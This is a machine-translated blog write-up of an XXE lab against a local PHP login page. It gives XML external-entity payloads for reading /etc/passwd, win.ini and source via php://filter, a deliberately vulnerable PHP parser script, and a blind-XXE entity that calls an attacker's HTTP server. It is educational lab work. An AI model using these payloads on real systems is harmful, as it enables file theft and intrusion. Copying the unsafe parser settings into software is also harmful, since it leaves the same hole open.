当前位置:网站首页>Security xxE vulnerability recurrence (XXe Lab)
Security xxE vulnerability recurrence (XXe Lab)
2022-07-06 03:49:00 【Fox FM】
List of articles
Preface
Installation skipped ,xxe-lab There are several environments , Here is php
Learning records only , Do not use for illegal purposes
XXE Not very familiar with , If there are any mistakes, you can correct them in the comments
XML External entities (XXE) Inject detailed explanation
Security -php://filter The file contains analysis (bugku)
XXE Inject high-end operation attacks payload Summary
One 、 Enable environment
Turn on apache or nginx, visit
http://127.0.0.1/xxe-lab-master/php_xxe/

If 127.0.0.1 I can't get the bag , You can use the intranet IP Visit the packet capture to view the submitted data


Two 、 Loophole recurrence
[1]. analysis
Use the playback module , It is found that... Will be returned in the return package
usernameWhat's in it ( Slightly changed the format )
So only willEntityPut it inusernamein , Will echo the value

[2]. structure payload
add to XML Statement ( It seems that you can do without this )
<?xml version="1.0" encoding="UTF-8"?>

DTDDocument type definition , Arbitrary file name will not affect , Be carefulDOCTYPENeed to be capitalizedDOCRepresents a document ,TYPETranslated as type
<!DOCTYPE file name []>

Then there is the statement XML Entities are used for file reading , Need to put in
DOCTYPEOftestin
<!ENTITY The entity name SYSTEM "file:/// Absolute path ">

Then choose one that will echo the data xml Label placement
& The entity name ;c:/windows/win.iniyes windows The default configuration in/etc/passwdyes linux Configuration of account information stored in

In the case of echo ,
passwordcall xml Solid time , No echo passwd The content of cannot passpasswordThe label proves the existence xxe Loophole

[3]. Read file from relative path
fileThe protocol is used to read absolute paths , If you need to read through a relative path, you can usephp://filter- post Data time , What I visited was
doLogin.phpfile
It needs to be based on the relative path to this file- When reading with the parameters below, the contents of the file will be
base64Output
php://filter/read=convert.base64-encode/resource= File relative path

- Read the current file
doLogin.phpfile ( If you don't know what the file name is , You can use it intruder Blasting module ),base64After decoding, it is the content of the file- The case of the file name will not affect

PD9waHAKLyoqCiogYXV0b3I6IGMwbnkxCiogZGF0ZTogMjAxOC0yLTcKKi8KCiRVU0VSTkFNRSA9ICdhZG1pbic7IC8v6LSm5Y+3CiRQQVN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gohW2phdmFfeHhlXShkb2MvamF2YV94eGUucG5nKQoKIVtweXRob25feHhlXShkb2MvcHl0aG9uX3h4ZS5wbmcpCgohW0NzaGFycF94eGVdKGRvYy9Dc2hhcnBfeHhlLnBuZykKCiMjIOa1i+ivlQrmkK3lu7rlpb3njq/looPlkI7lsLHlj6/ku6Xlr7nlkITkuKror63oqIDniYjmnKzov5vooYzmtYvor5XkuobjgILov5nph4zku6VQSFDkuLrkvovlrZDjgIIKCiFbcGhwIFhYRea8lOekul0oZG9jL3BocF94eGVfZGVtby5naWYpCg==

3、 ... and 、 No echo XXE
take
doLogin.phpChange to the following code , In this way, there will be no originalusername了
<?php
/** * autor: c0ny1 * date: 2018-2-7 */
$USERNAME = 'admin'; // account number
$PASSWORD = 'admin'; // password
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = " Login successful ";
//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = " Login failed ";
//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

If the goal is not to leave the network , have access to python Here's one http service
If the access record of the target is detected , That means there is xxe There's a leak
python -m http.server [ port ]
python2 Start with the following code http service
python -m SimpleHTTPServer [ port ]


then post As follows xml sentence
<!DOCTYPE test[ <!ENTITY data SYSTEM "http:// The attacker IP: port "> ]>


Because the submitted
usernameandpasswordAre processed by the server , But none of them echo
So without echo , These two parameters call xml Entities will trigger vulnerabilities


边栏推荐
猜你喜欢

Serial port-rs232-rs485-ttl

In Net 6 CS more concise method

Ks008 SSM based press release system
![[practice] mathematics in lottery](/img/29/2ef2b545d92451cf083ee16e09ffb4.jpg)
[practice] mathematics in lottery

C form application of C (27)

Facebook等大厂超十亿用户数据遭泄露,早该关注DID了

Cubemx 移植正点原子LCD显示例程

Data analysis Seaborn visualization (for personal use)

KS003基于JSP和Servlet实现的商城系统

3.1 detailed explanation of rtthread serial port device (V1)
随机推荐
On Data Mining
Do you know cookies, sessions, tokens?
2.2 STM32 GPIO operation
Shell pass parameters
简易博客系统
Svg drag point crop image JS effect
【PSO】基于PSO粒子群优化的物料点货物运输成本最低值计算matlab仿真,包括运输费用、代理人转换费用、运输方式转化费用和时间惩罚费用
RT-Thread--Lwip之FTP(2)
在 .NET 6 中使用 Startup.cs 更简洁的方法
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
C#(三十一)之自定义事件
C (XXIX) C listbox CheckedListBox Imagelist
自动化测试怎么规范部署?
Ethernet port &arm & MOS &push-pull open drain &up and down &high and low sides &time domain and frequency domain Fourier
[Qt5] QT QWidget immediately appears and disappears
SAP ALV cell level set color
Image super resolution using deep revolutionary networks (srcnn) interpretation and Implementation
C language -- structs, unions, enumerations, and custom types
Multi project programming minimalist use case
[Massey] Massey font format and typesetting requirements